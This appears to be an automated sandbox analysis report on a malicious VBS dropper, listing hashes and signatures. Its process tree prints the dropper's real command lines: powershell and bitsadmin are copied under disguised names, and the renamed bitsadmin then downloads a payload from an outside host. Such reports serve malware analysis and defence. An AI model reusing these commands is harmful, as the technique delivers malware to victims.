Analysis
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max time kernel
33s -
max time network
69s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
30-11-2020 14:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_GRCPTR56P29G273X.vbs
Resource
win7v20201028
General
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Target
Allegato_GRCPTR56P29G273X.vbs
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Size
6KB
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MD5
117b47e28ec75072e0b194c62747fe96
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SHA1
7a6afd4fde5ffed19dee9f039734feace7881b22
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SHA256
a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061
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SHA512
ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
OsSlfIOin.exepid process 3988 OsSlfIOin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 884 wrote to memory of 496 884 WScript.exe cmd.exe PID 884 wrote to memory of 496 884 WScript.exe cmd.exe PID 496 wrote to memory of 2508 496 cmd.exe cmd.exe PID 496 wrote to memory of 2508 496 cmd.exe cmd.exe PID 496 wrote to memory of 3712 496 cmd.exe cmd.exe PID 496 wrote to memory of 3712 496 cmd.exe cmd.exe PID 884 wrote to memory of 3988 884 WScript.exe OsSlfIOin.exe PID 884 wrote to memory of 3988 884 WScript.exe OsSlfIOin.exe PID 884 wrote to memory of 3988 884 WScript.exe OsSlfIOin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:496 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe3⤵PID:2508
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe3⤵PID:3712
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C:\ProgramData\OsSlfIOin.exe"C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg2⤵
- Executes dropped EXE
PID:3988
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca
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MD5
bc3fc615ded204ba43b3b5ee76e7aa32
SHA17295b2b245fe99eac5a597693b4388c38b50edca
SHA256452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889
SHA5127c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca